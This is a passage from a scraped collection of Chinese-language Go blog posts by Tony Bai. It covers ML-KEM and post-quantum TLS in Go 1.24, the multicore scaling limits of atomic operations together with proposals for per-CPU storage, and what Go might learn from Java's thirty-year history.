sharedKeyForBob) { fmt.Println(\u0026#34;\\nSuccess! Alice and Bob now share the same secret key using ML-KEM-768.\u0026#34;) } else { // 这通常不应该发生，如果 Decapsulate 成功且数据未被篡改。 fmt.Println(\u0026#34;\\nError! Shared keys do NOT match. This is unexpected.\u0026#34;) } // 简单演示 ML-KEM-1024 的密钥生成 (API 结构类似) dk1024, err := mlkem.GenerateKey1024() if err != nil { log.Fatalf(\u0026#34;Failed to generate ML-KEM-1024 decapsulation key: %v\u0026#34;, err) } _ = dk1024.EncapsulationKey() // 获取公钥 fmt.Println(\u0026#34;\\nSuccessfully demonstrated ML-KEM-1024 key generation as well.\u0026#34;) // 打印一些常量信息 fmt.Printf(\u0026#34;\\nML-KEM Constants:\\n\u0026#34;) fmt.Printf(\u0026#34; SharedKeySize: %d bytes\\n\u0026#34;, mlkem.SharedKeySize) fmt.Printf(\u0026#34; SeedSize: %d bytes\\n\u0026#34;, mlkem.SeedSize) fmt.Printf(\u0026#34; CiphertextSize768: %d bytes\\n\u0026#34;, mlkem.CiphertextSize768) fmt.Printf(\u0026#34; EncapsulationKeySize768: %d bytes\\n\u0026#34;, mlkem.EncapsulationKeySize768) fmt.Printf(\u0026#34; CiphertextSize1024: %d bytes\\n\u0026#34;, mlkem.CiphertextSize1024) fmt.Printf(\u0026#34; EncapsulationKeySize1024: %d bytes\\n\u0026#34;, mlkem.EncapsulationKeySize1024) } 使用Go 1.24+版本运行上述代码，可以得到类似如下输出结果：\nAlice\u0026#39;s Public Key (ML-KEM-768, 1184 bytes): f880089a159c9ba338a684c70e10bdee... Bob: Generated Shared Key (ML-KEM-768, 32 bytes): bf7a9749d29a56c831edfda00aaa4d7034e82f744cacf9b8a377e79a20febb1f Bob: Generated Ciphertext for Alice (1088 bytes): 9afe9f9d36a581a5d7e47b7913c65886... Alice: Decapsulated Shared Key (ML-KEM-768, 32 bytes): bf7a9749d29a56c831edfda00aaa4d7034e82f744cacf9b8a377e79a20febb1f Success! Alice and Bob now share the same secret key using ML-KEM-768. Successfully demonstrated ML-KEM-1024 key generation as well. ML-KEM Constants: SharedKeySize: 32 bytes SeedSize: 64 bytes CiphertextSize768: 1088 bytes EncapsulationKeySize768: 1184 bytes CiphertextSize1024: 1568 bytes EncapsulationKeySize1024: 1568 bytes 上述代码仅为了展示 crypto/mlkem 包的核心用法。实际应用中，公钥和密文的传输需要通过网络等信道。\ncrypto/mlkem 包的加入，使得 Go 开发者可以直接在应用层使用标准化的后量子密钥封装机制，为构建面向未来的安全应用提供了坚实的基础。\ncrypto/tls 的 PQC 集成：Go 1.24 默认启用，让 HTTPS 更“抗量子” 对于大多数 Go 开发者而言，直接使用底层的 crypto/mlkem 包可能不是最常见的场景。更令人振奋的是，Go 团队已将后量子密码能力无缝集成到了我们日常使用的 crypto/tls 包中！\n根据 Go 1.24 的发布说明，crypto/tls 包现在默认支持并启用了新的后量子混合密钥交换机制 X25519MLKEM768。\n这意味着什么呢？\n默认的后量子保护： 当你的 Go 1.24+ 应用程序使用 crypto/tls（例如，作为 HTTPS 服务器或客户端），并且 tls.Config 中的 CurvePreferences 字段未被显式设置（保持为 nil）时，TLS 握手将自动尝试使用 X25519MLKEM768 进行密钥交换。 混合机制的优势： X25519MLKEM768 是一种混合 (hybrid) 密钥交换方案。它巧妙地将经过广泛验证的经典椭圆曲线算法 X25519 与后量子安全的 ML-KEM-768 结合起来。这样做的好处是： 经典安全： 即使 ML-KEM-768 未来被发现存在未知的弱点（尽管可能性很小），X25519 依然能提供经典的安全性。 量子抵抗： 面对量子计算机的威胁，ML-KEM-768 部分提供了后量子保护。 这种“两全其美”的设计是当前 PQC 过渡阶段推荐的主流方案。\n开发者体验的极致简化： 大部分情况下，开发者无需修改现有代码即可获得这种增强的安全性。Go 语言的哲学再次体现——将复杂性封装起来，提供安全且易用的默认行为。 如何控制这一行为？\n虽然默认启用是推荐的，但 Go 团队也考虑到了现实世界中的兼容性问题。在某些情况下，一些老旧或有缺陷的 TLS 服务器可能无法正确处理 X25519MLKEM768 握手过程中可能产生的较大记录 (TLS record)，导致握手超时失败。\n因此，Go 1.24 提供了禁用此默认行为的选项：\n通过 tls.Config.CurvePreferences： 你可以显式设置 CurvePreferences 字段，只包含你希望支持的经典密钥交换机制，从而排除 X25519MLKEM768。\n// 示例：显式设置，不包含 X25519MLKEM768 config := \u0026amp;tls.Config{ Certificates: []tls.Certificate{cert}, CurvePreferences: []tls.CurveID{tls.X25519, tls.CurveP256}, // 明确指定经典曲线 } 通过 GODEBUG 环境变量： 可以在运行时通过设置环境变量 GODEBUG=tlsmlkem=0 来全局禁用 X25519MLKEM768 的默认启用。\n概念性代码示例（体现 Go 1.24 默认行为）：\npackage main import ( \u0026#34;crypto/tls\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; ) func helloServer(w http.ResponseWriter, req *http.Request) { w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;text/plain\u0026#34;) w.Write([]byte(\u0026#34;This is an example server with Go 1.24 TLS.\\n\u0026#34;)) // Go 1.24 crypto/tls 默认会尝试 X25519MLKEM768 密钥交换 // 如果客户端也支持，连接将具备后量子安全性！ } func main() { // 加载证书和私钥 (此处省略具体加载过程) cert, err := tls.LoadX509KeyPair(\u0026#34;server.crt\u0026#34;, \u0026#34;server.key\u0026#34;) if err != nil { log.Fatalf(\u0026#34;server: loadkeys: %s\u0026#34;, err) } // 服务器配置 // 在 Go 1.24+ 中，如果 CurvePreferences 为 nil (默认)， // X25519MLKEM768 将被默认启用。 config := \u0026amp;tls.Config{ Certificates: []tls.Certificate{cert}, // CurvePreferences: nil, // 默认即启用 X25519MLKEM768 } http.HandleFunc(\u0026#34;/hello\u0026#34;, helloServer) server := \u0026amp;http.Server{ Addr: \u0026#34;:8443\u0026#34;, TLSConfig: config, } log.Println(\u0026#34;Starting server on https://localhost:8443/hello\u0026#34;) log.Fatal(server.ListenAndServeTLS(\u0026#34;\u0026#34;, \u0026#34;\u0026#34;)) // 使用空字符串让其加载 config 中的证书 } // 客户端示例 (概念) // clientConfig := \u0026amp;tls.Config{ // InsecureSkipVerify: true, // 仅用于测试，生产环境不要用 // CurvePreferences: nil, // 客户端也会默认尝试 X25519MLKEM768 // } // conn, err := tls.Dial(\u0026#34;tcp\u0026#34;, \u0026#34;localhost:8443\u0026#34;, clientConfig) // if err != nil { // log.Fatalf(\u0026#34;client: dial: %s\u0026#34;, err) // } // defer conn.Close() // log.Println(\u0026#34;client: connected to: \u0026#34;, conn.RemoteAddr()) 重要提示： Go 1.24 还移除了对实验性 X25519Kyber768Draft00 密钥交换的支持，完全转向了标准化的 X25519MLKEM768。\ncrypto/tls 中这一默认的后量子安全增强，是 Go 语言在 PQC 时代向前迈出的坚实一步，极大地降低了开发者应用 PQC 的门槛。\n开发者可能只需要更新 Go 版本，或者做少量配置，就能让应用具备初步的后量子防护能力，而无需深入了解 ML-KEM 的复杂细节。这正是 Go 追求简洁易用哲学的体现。\n对于 SSH 协议，Go 团队计划密切关注 OpenSSH 的发展。一旦 OpenSSH 支持 NIST 选定的 ML-KEM 标准（目前 OpenSSH 使用的是 NTRU，非 NIST 主选），Go 团队也将在 crypto/ssh 包中添加相应支持，以确保互操作性。\nGo 与 PQC：机遇、挑战及开发者行动 Go 语言正积极拥抱后量子密码学 (PQC) 时代，Go 1.24 将 crypto/mlkem 纳入标准库并通过 crypto/tls 默认启用 X25519MLKEM768 混合密钥交换，这为 Go 开发者带来了技术领先和安全增强的机遇，但也伴随着 API 演进、行业经验不足及资源消耗等挑战。Go 社区正通过提供清晰文档和推动实践来赋能开发者，共同塑造一个更安全的数字未来。\n面对这一变革，Go 开发者应积极学习 crypto/mlkem 的 API 和 crypto/tls 的 PQC 集成机制，理解其默认行为及控制方式。对于需要长期数据保密性的项目，应审慎评估并开始应用这些新特性，同时关注 Go 在 PQC 领域的后续发展，并参与社区交流，为应用的未来安全做好规划。Go 1.24 已为我们迈向后量子安全提供了坚实的工具。\n小结：为量子未来，Go 已在路上 后量子密码学不再是遥不可及的未来概念，而是关乎我们数字世界长期安全的关键一步。Go 语言凭借其在密码学领域的深厚积累和前瞻性布局，正稳步迈向这个新时代。\nGo 1.24 中 crypto/mlkem 包的正式发布，是 Go 在 PQC 领域的一个重要里程碑。它为开发者提供了直接、标准化的工具来应对量子计算的潜在威胁。结合未来在 crypto/tls 和 crypto/ssh 等包中的 PQC 集成，Go 团队正努力为开发者提供安全、易用且高效的后量子密码解决方案。\n这不仅是一场技术升级，更是 Go 社区共同承担的责任。通过学习、关注、参与和实践，我们可以与 Go 一道，为构建一个能抵御未来量子威胁的、更安全的数字世界贡献力量。让我们一起期待 Go 在后量子时代的精彩表现！\n参考资料 crypto/mlkem: new package #70122 – https://github.com/golang/go/issues/70122 NIST Releases First 3 Finalized Post-Quantum Encryption Standards – https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards Post-Quantum Cryptography – https://csrc.nist.gov/projects/post-quantum-cryptography Post-quantum cryptography – https://en.wikipedia.org/wiki/Post-quantum_cryptography Towards Post-Quantum Cryptography in TLS – https://blog.cloudflare.com/towards-post-quantum-cryptography-in-tls/ KEMS AND POST-QUANTUM AGE – https://words.filippo.io/dispatches/post-quantum-age/ POST-QUANTUM CRYPTOGRAPHY FOR THE GO ECOSYSTEM – https://words.filippo.io/dispatches/mlkem768/ What’s new in Go’s cryptography libraries: Part 1 – https://changelog.com/gotime/295 What’s new in Go’s cryptography libraries: Part 2 – https://changelog.com/gotime/298 What’s new in Go’s cryptography libraries: Part 3 – https://changelog.com/gotime/313 Post Quantum Cryptography Web Server in Go 1.23 – https://medium.com/cyberark-engineering/a-post-quantum-cryptography-web-server-in-go-1-23-9f7e98db7b39 感谢阅读！\n如果这篇文章让你对后量子密码学和 Go 的未来有所了解，请帮忙转发 ，让更多 Gopher 关注这一重要趋势！\n深入探讨，加入我们！\n对后量子密码学的技术细节、Go 的具体实现进展、或如何在你的应用中规划 PQC 过渡感兴趣？欢迎加入我的知识星球 “Go \u0026amp; AI 精进营”！\n在那里，我们可以：\n跟踪 PQC 在 Go 及其他主流语言中的最新动态。 讨论 PQC API 设计的最佳实践。 分享学习 PQC 和密码学的心得体会。 欢迎扫描下方二维码加入星球，共同探索安全技术的未来！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/20/post-quantum-cryptography-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/post-quantum-cryptography-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/05/20/post-quantum-cryptography-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/05/20/post-quantum-cryptography-in-go\"\u003ehttps://tonybai.com/2025/05/20/post-quantum-cryptography-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是 Tony Bai。\u003c/p\u003e\n\u003cp\u003e在我们享受数字时代便利的同时，信息安全始终是悬在我们头顶的达摩克利斯之剑。而这把剑，正面临着来自未来的一个巨大挑战——\u003cstrong\u003e量子计算机\u003c/strong\u003e。一旦实用化的大规模量子计算机问世，我们当前广泛依赖的许多经典密码体系（如 RSA、椭圆曲线密码 ECC）可能在瞬间土崩瓦解。\u003c/p\u003e","title":"未雨绸缪：Go开发者需要了解的后量子密码学与实现现状"},{"content":"原子操作的瓶颈与Go的多核扩展性之痛：深入剖析sync.ShardedValue及per-CPU提案 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n原子操作的瓶颈与Go的多核扩展性之痛：深入剖析sync.ShardedValue及per-CPU提案 五月 19, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/19/shardedvalue-per-cpu-proposal\n大家好，我是Tony Bai。\n在追求极致性能的道路上，Go 语言凭借其简洁的并发模型和高效的调度器，赢得了众多开发者的青睐。然而，随着现代服务器 CPU核心数量的不断攀升，一些我们曾经习以为常的“快速”操作，在高并发、多核环境下，也逐渐显露出其性能瓶颈。其中，原子操作 (atomic operations) 的扩展性问题，以及标准库中一些依赖原子操作的并发原语（如 sync.RWMutex）的性能表现，成为了社区热议的焦点。\n最近，fasthttp 的作者及 VictoriaMetrics 数据库的联合创始人 Aliaksandr Valiakin (valyala) 在 X.com 上的一番“叹息”，更是将原子计数器的扩展性问题推向了前台：\nValyala 指出：“基于原子操作的计数器更新性能在多 CPU 核心上无法扩展，因为每个 CPU 核心在增量操作期间都需要从慢速内存中原子加载实际的计数器值。因此，实际性能受限于内存延迟（约 15ns，即每秒 6 千万次增量）。通过使用可缓存于 CPU L1 缓存的 per-CPU 计数器，可以将单 CPU 核心性能提升至每秒数十亿次增量。遗憾的是，Go 语言本身并未提供高效处理 per-CPU 数据的函数。”\n这番话点出了一个残酷的现实：即使是看似轻量级的原子操作，在多核“混战”中也可能成为性能的阿喀琉斯之踵。那么，这背后的深层原因是什么？Go 社区又在如何探索解决之道呢？今天，我们就来深入剖析这个问题，并解读 Go 项目 issue 中几个重要的相关提案，同时看看社区是如何先行一步尝试解决这类问题的。\n原子操作为何在高并发多核下“失速”？sync.RWMutex 的痛点 要理解原子操作的瓶颈，我们需要潜入到 CPU 缓存的微观世界。现代多核 CPU 为了加速内存访问，都配备了多级缓存（L1, L2, L3）。当多个核心同时读写同一块内存区域时，就需要缓存一致性协议 (Cache Coherence Protocols)（如 MESI，Modify-Exclusive-Shared-Invalid）来确保数据的一致性。\n当我们对一个共享变量（即使是原子变量）进行写操作时，例如 atomic.AddInt64，会发生什么？\n执行该操作的 CPU 核心需要获得对该变量所在缓存行 (Cache Line) 的独占访问权 (Exclusive state)。 如果其他核心的缓存中也存在这份缓存行的副本（即使是共享状态 Shared state），它们会被标记为无效 (Invalidate)。 当其他核心再次需要访问这个变量时，就会发生缓存未命中 (Cache Miss)，需要从更高级别的缓存或主内存中重新加载数据，并可能再次引发缓存行在不同核心间的同步。 在高并发场景下，如果多个核心频繁地对同一个缓存行中的原子变量进行写操作，就会导致：\n缓存行在不同核心的 L1/L2 缓存之间频繁失效和同步，这个过程被称为“缓存行乒乓 (Cache Line Ping-Ponging)”。 产生大量的总线流量和内存访问延迟。 这就是所谓的真共享 (True Sharing) 争用。即使原子操作本身在单个核心上执行得非常快，这种跨核心的缓存同步开销也会让其整体性能急剧下降。\n这个问题的典型体现之一，便是 Go 标准库中的 sync.RWMutex。正如 github.com/jonhoo/drwmutex 项目在其 README 中指出的：“Go 默认的 sync.RWMutex 在多核下扩展性不佳，因为所有读操作者在尝试原子性地增加同一个内存位置（用于读者计数）时会产生争用。” 对于读多写少的场景，本应高效的读锁操作，却因为内部共享计数器的原子更新而受到了性能限制。\n社区的先行者：jonhoo/drwmutex 的分片读写锁实践 面对标准库 sync.RWMutex 在多核环境下的扩展性瓶颈，社区早已开始了积极的探索。一个显著的例子便是 jonhoo/drwmutex，一个 n 路分片读写锁（Distributed Read-Write Mutex）的实现，也被称为“大读者”锁。\n其核心思想非常直观：为每个 CPU 核心提供其自己的 RWMutex 实例。读者只需要获取其核心本地的读锁，而写者则必须按顺序获取所有核心上的锁。 这种设计通过将读操作的争用分散到各个核心，从而显著提升了读多写少场景下的并发性能。\njonhoo/drwmutex 的实现也揭示了构建这类 per-CPU 优化方案的一些关键技术点和挑战：\n获取当前 CPU ID： 为了将操作路由到正确的本地锁，需要一种方法来确定当前 goroutine 正在哪个 CPU 核心上运行。drwmutex 在 Linux x86 平台上使用了 CPUID 汇编指令来获取 APICID，并在程序启动时构建 APICID 到 CPU 索引的映射。这突显了获取可靠且高效的 CPU/P 标识是实现此类优化的一个难点。 CPU 信息可能过时： README 中也坦诚地指出，goroutine 获取到的 CPU 信息可能是过时的（因为 goroutine 可能已被调度到其他核心），但这主要影响性能而非正确性（只要读者记住它获取的是哪个锁）。OS 内核通常会尽量将线程保持在同一核心以提高缓存命中率，这在一定程度上缓解了这个问题。 性能表现与 NUMA 效应： jonhoo/drwmutex 的性能测试表明，在核心数较多，特别是写操作比例低于 1% 时，其性能远超 sync.RWMutex。有趣的是，其性能图表还揭示了 NUMA (Non-Uniform Memory Access) 效应的影响——在测试机器上每增加一个包含 10 个核心的 NUMA 节点，跨核心流量的成本就会增加，导致性能曲线出现波动。 jonhoo/drwmutex 的实践不仅提供了一个解决 sync.RWMutex 性能问题的有效方案，也为后续 Go 官方和社区在 per-CPU 数据结构方面的探索提供了宝贵的经验和参照。\n官方的早期探索：sync.ShardedValue 的初心与挑战 (#18802) 在社区积极探索的同时，Go 核心团队也早已关注到这类问题。一个重要的早期官方提案便是由 Austin Clements 在 2017 年提出的 sync.ShardedValue (issue #18802)。\nsync.ShardedValue 的核心思想与 jonhoo/drwmutex 有异曲同工之妙：提供一种机制来创建和使用分片值，将一个逻辑上的共享值分散到多个独立的“分片”中，每个分片与一个 CPU 核心或更准确地说是 Go 调度器中的 P (Processor) 相关联。 这样，每个 P 上的 goroutine 优先访问其本地分片，从而大大减少对单一共享内存位置的争用。\n该提案围绕 Get()、Put() 和 Do() 等核心 API 进行了深入讨论，涉及了诸多设计维度，例如 Get/Put 的阻塞性、溢出处理、Do 操作的一致性等。尽管因难以就“最重要的问题达成共识”而被搁置，但 sync.ShardedValue 提案为后续的探索奠定了重要的基础，并清晰地指明了通过“分片”来提升多核扩展性的方向。\n新的尝试：valyala 的 sync.PLocalCache (#69229) 与 sync.MLocal (#73667) 近期，valyala 基于其在 fasthttp 和 VictoriaMetrics 等高性能项目中的实践经验，提出了两个更聚焦、API 更简洁的提案，试图从特定场景切入，解决 per-CPU/per-P/per-M 数据的高效访问问题。\n1. sync.PLocalCache (issue #69229): Per-P 对象缓存\n设计目标： 为 CPU 密集型的算法提供一个高效且可随 CPU 核心数线性扩展的状态缓存机制。 API 设计： 核心是 Get() (返回 P 本地对象，若无则返回 nil) 和 Put() (将对象放回 P 本地存储)，保证 Get() 返回的对象只能被当前 goroutine 访问，无需额外同步。 解决痛点： 旨在解决 sync.Pool 在作为严格 per-P 缓存时存在的问题，如跨 P 窃取、内存浪费和 GC 清理等。 2. sync.MLocal[T any] (issue #73667): Per-M (OS 线程) 泛型存储\n设计目标： 为需要在 OS 线程层面实现数据隔离以达到线性扩展性的并发代码，提供 M 本地存储。 API 设计 (泛型)： 提供 Get() (返回当前 M 的 *T 项) 和 All() (返回所有 M 上的项)。 解决痛点： 直接应对 valyala 在 VictoriaMetrics 中遇到的共享缓冲区互斥锁争用导致的扩展性瓶颈。 这些提案的共性、差异与启示 无论是社区的 jonhoo/drwmutex 实践，还是官方及 valyala 的提案，它们的核心目标都是一致的：通过数据的分片或本地化，最大限度地减少多核间的共享内存争用，从而提升高并发应用在多核处理器上的性能和可伸缩性。\n然而，它们在具体实现、API 设计的通用性、易用性以及针对的场景上有所不同：\njonhoo/drwmutex 是一个针对特定问题（读写锁）的具体解决方案，它依赖平台相关的 CPUID 指令，并自己处理了核心映射和数据同步。 sync.ShardedValue 试图提供一个更通用的分片值抽象，但也因此面临更大的设计复杂性和社区共识挑战。Austin Clements 后续也反思了早期设计，并提出了更优的“检出/检入”模型。 sync.PLocalCache 和 sync.MLocal 则更为聚焦，API 更简洁，分别针对 per-P 缓存和 per-M 存储这两个具体场景。 这些探索过程也充满了 Go 社区对技术细节的极致追求和严谨思辨，例如关于命名（”sharding” vs “perCPU” vs “SplitValue”）、GOMAXPROCS 动态变化的影响、与 GC 的交互、API 语义的精确性（如 mknyszek 提出的包含 Merge 方法的 ShardedValue API 及其多种语义可能）以及泛型的应用等。\n展望未来：Go 如何更好地拥抱多核时代？ 原子操作的瓶颈、标准库并发原语的局限，以及社区和官方对 per-CPU/P/M 存储方案的持续探索，清晰地表明了 Go 语言在追求极致多核扩展性方面仍有提升空间。解决这类底层并发原语的性能问题，对于 Go 在高性能服务器、大规模分布式系统、数据库、监控系统等领域的持续领先至关重要。\n未来，我们或许会看到：\n更底层的运行时支持： Go 运行时可能会暴露更底层的、与调度器（P、M）相关的亲和性原语，或提供高效获取当前 P/核心 ID 的标准方法，正如 jonhoo/drwmutex 所尝试的那样。 标准库中出现新的同步原语： 借鉴这些提案和社区实践的精华，可能会有新的、经过精心设计的同步原语加入到 sync 或 sync/atomic 包中。 社区持续贡献优秀的解决方案： 像 jonhoo/drwmutex 这样的项目，即使官方没有立即提供标准方案，社区也会基于现有技术孵化出优秀的第三方库。 小结 从 valyala 对原子操作性能的“叹息”，到 jonhoo/drwmutex 的巧妙实践，再到 Go 社区围绕 sync.ShardedValue、sync.PLocalCache、sync.MLocal 等提案的深入探讨，我们看到了 Go 语言在追求极致性能道路上永不停歇的脚步。这不仅仅是关于几个新的 API，更是关于 Go 如何在多核时代继续保持其并发优势和工程效率的战略思考。\n作为 Gopher，关注这些讨论和提案的进展，理解其背后的设计哲学和技术挑战，不仅能让我们更深刻地认识 Go 语言，也能启发我们在自己的高性能项目中进行类似的性能优化思考和实践。\n让我们共同期待 Go 在多核扩展性方面能迈出更坚实的步伐，为构建更高性能的未来系统提供更强大的动力！\n参考资料 Distributed Read-Write Mutex in Go – https://github.com/jonhoo/drwmutex proposal: sync: support for sharded values #18802 – https://github.com/golang/go/issues/18802 proposal: sync: add M-local storage #73667 – https://github.com/golang/go/issues/73667 proposal: sync: add PLocalCache #69229 – https://github.com/golang/go/issues/69229 聊一聊，也帮个忙：\n在你的 Go 项目中，是否也曾遇到过原子操作或 sync.RWMutex 在高并发多核下的性能瓶颈？你是如何解决的？是否尝试过类似 jonhoo/drwmutex 的分片锁方案？ 对于 Go 社区提出的这些 per-CPU/P/M 存储提案，你认为哪种设计思路更具潜力？或者你有什么更好的建议？ 你认为 Go 语言在提升多核扩展性方面，未来最应该关注哪些方向？ 欢迎在评论区留下你的经验、思考和问题。如果你觉得这篇文章对你有所启发，也请转发给你身边的 Gopher 朋友们，让更多人参与到这场关于 Go 性能未来的讨论中来！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/19/shardedvalue-per-cpu-proposal/","summary":"\u003cp\u003e原子操作的瓶颈与Go的多核扩展性之痛：深入剖析sync.ShardedValue及per-CPU提案 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"原子操作的瓶颈与Go的多核扩展性之痛：深入剖析sync.ShardedValue及per-CPU提案"},{"content":"Java屹立30年，Go的“少年壮志”如何续写辉煌？——来自Java之父的“长寿秘诀” - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nJava屹立30年，Go的“少年壮志”如何续写辉煌？——来自Java之父的“长寿秘诀” 五月 17, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/17/java-at-30\n大家好，我是Tony Bai。我的极客时间《Go进阶课》专栏已经上线，欢迎大家点击链接订阅学习，我们一起在Go语言的道路上共同精进！\nGo语言自开源以来，已走过十多个年头。从最初备受瞩目的“Google语言”，到如今在云原生、微服务领域独当一面，Go 凭借其简洁、高效与强大的并发能力，赢得了全球开发者的青睐，正从一个朝气蓬勃的少年”迈向更加成熟稳健的“壮年”。\n然而，“成长的烦恼”也随之而来：生态如何持续繁荣？语言如何在保持核心优势与满足新兴需求之间取得平衡？如何应对一波又一波的技术浪潮冲击？\n恰逢 Java 语言诞生 30 周年，The New Stack 对 Java 之父 James Gosling 进行了一次深度访谈。我刚接触 Java 时，它才发布 1.5 版本（Tiger），一晃近 20 年，Java 依然是全球最重要的语言之一。这位编程语言界的“老大哥”和它的创造者，其“长寿秘诀”无疑能为“风华正茂”的 Go 语言带来诸多启示。\nGosling 在访谈中分享了 Java 长盛不衰的关键，我提炼了几点，希望能为Go的未来之路提供一些借鉴与思考。\n秘诀一：【解决真实问题，而非追逐时髦】—— Go 的初心与未来挑战 Java 的经验： James Gosling 强调：“Java 从不追求时髦，始终专注于有效解决问题，帮助工程师完成工作。” 这份对实用主义的坚守，是 Java 能够穿越多个技术周期的基石。 Go 的启示与思考： Go 语言的诞生，正是为了解决当时 C++ 开发的复杂性、Python 等脚本语言的性能瓶颈以及多核时代并发编程的困境。它以大道至简的哲学，直击痛点，迅速在云原生、分布式系统等领域找到了自己的核心价值。 如今，Go 已走过开源的第一个十年，生态日渐成熟。面对 AI 浪潮、不断演进的硬件架构以及更多元化的应用场景，Go 是否还能保持这份“解决真实问题”的初心？未来，Go 需要识别并解决哪些新的、关键的“真实问题”，以巩固和拓展自身的生态位？这是每一个 Gopher 和 Go 社区贡献者都需要思考的。\n秘诀二：【尊重用户，死磕向后兼容与可靠性】—— Go 的生命线如何延续？ Java 的经验： “尊重用户”、“保持向后兼容”、“优先考虑可靠性 (必须每次都TM的能用！)”——Gosling 的这些话掷地有声，道出了 Java 赢得企业信任的关键。 Go 的启示与思考： Go 语言著名的“Go 1 兼容性承诺”为其赢得了极佳的口碑，让开发者能够放心地升级版本。然而，随着 Go Modules、泛型等重要特性的引入，社区中也出现了一些关于“必要妥协”与“更大收益”的讨论。 当 Go 生态越来越庞大，用户场景越来越复杂时，如何在不牺牲核心稳定性的前提下，引入必要的改进和演化？如何在社区对某些“破坏性但可能带来更大价值”的变革呼声与“向后兼容”的承诺之间找到最佳平衡点？这将持续考验 Go 核心团队的智慧和社区的共识。\n秘诀三：【谨慎创新，不轻易破坏核心价值】—— Go 的“简洁”能否持久？ Java 的经验： 谈及 Lambda、泛型等重要特性时，Gosling 表示：“我从不想加入一个不‘对’的东西。”他坦言确定最佳实现方式的艰难（“最初的90%很容易想出来，但最后10%超级难”）。这种对语言核心价值的审慎态度，避免了 Java 过早地陷入复杂性的泥潭。 Go 的启示与思考： Go 在引入泛型时，同样经历了长达数年的社区讨论和极其审慎的设计过程，最终才在 Go 1.18 中落地。这种“慢”在某种程度上保证了新特性与 Go 整体设计哲学的融合。 未来，Go 必然会面临更多引入新特性的需求。如何在满足发展需要与保持语言核心的“简洁性”和“工程效率”之间取得平衡，避免语言的“膨胀”和“复杂化”，将是 Go 能否保持其独特魅力的关键。我们是否应该继续推崇“少即是多”？哪些领域的创新是必要的，哪些又是需要警惕的？\n秘诀四：【社区是活水之源】—— Go 的生态如何更上一层楼？ Java 的经验： 即便在 Oracle 的管理下（Gosling 对 Oracle 的评价是“比预想的好，但期望本来就很低”），他也承认社区在 Java 持续发展和创新中扮演了至关重要的角色。 Go 的启示与思考： Go 拥有一个全球化、充满活力且贡献卓著的社区。从无数优秀的开源项目到各种技术峰会、meetup，社区的力量是 Go 快速成长的重要驱动力。 进入成熟期后，如何进一步赋能社区，形成更强大的合力？例如，在语言特性方面(如更完善的错误处理、更丰富的原生数据结构支持等，虽然泛型已带来一些改善），如何更好地组织和激励社区进行共建？如何让更多的企业和个人开发者参与到 Go 的核心贡献和生态治理中？这将是 Go 能否持续保持创新活力的关键。\n秘诀五：【保持清醒的自我定位，警惕技术炒作】—— Go 在浪潮中的定力 Java 的经验： Gosling 对当前 AI 热潮的一些犀利点评（例如，称其为“自带一桶有毒废料的营销术语”，认为“大部分 AI 投资将化为乌有”，以及 AI 编码工具在复杂项目中“几乎总是会崩溃”）展现了一种宝贵的清醒和批判精神。他认为 AI 更多是“极其复杂的锤子和螺丝刀”，是人类使用的工具，而非取代人类的自主系统。 Go 的启示与思考： 面对一波又一波的新兴技术浪潮（从区块链到元宇宙，再到如今的生成式 AI），Go 语言需要有清晰的自我认知和战略定力。它在技术栈中的核心价值是什么？最适合解决哪些领域的问题？ Go 在并发处理、网络编程、系统构建方面的优势，使其在云原生、微服务、分布式系统以及 AI 应用的后端基础设施等领域大放异彩。未来，Go 如何在这些领域继续深耕，同时审慎地探索与新兴技术的结合点，而不是被短期热点裹挟，盲目扩张，这将考验 Go 社区的集体智慧。\n小结：知易行难，未来可期 James Gosling 的访谈，不仅仅是对 Java 30 年的回顾，更像是一堂浓缩的技术发展史和语言设计哲学课。虽然很多“名言警句”（比如他对某些公司文化的吐槽，或者对过时工具的调侃）非常抓人眼球，但其背后对技术本质的坚守、对用户价值的尊重、以及对行业趋势的冷静洞察，或许才是 Java 能够穿越周期、屹立 30 年的深层原因。\nGo 语言，这位“刚刚十多岁的少年”，正处在发展的黄金时期，也面临着成长的关键抉择。借鉴 Java 这位“老大哥”的宝贵经验，或许能帮助 Go 走得更稳、更远。\n想更全面了解 James Gosling 的观点和那些有趣的编程往事吗？推荐阅读原文：\nJava at 30: The Genius Behind the Code That Changed Tech\n聊一聊，聚焦 Go 的未来：\n你认为当前 Go 语言发展面临的最大挑战是什么（技术层面或生态层面）？ 借鉴 Java 的经验，你觉得 Go 社区或官方在哪些方面可以做得更好，以确保其长期健康发展？ 对于 Go 语言的核心价值（如简洁、并发、工程效率），你认为在未来演进中最需要坚守的是什么？ 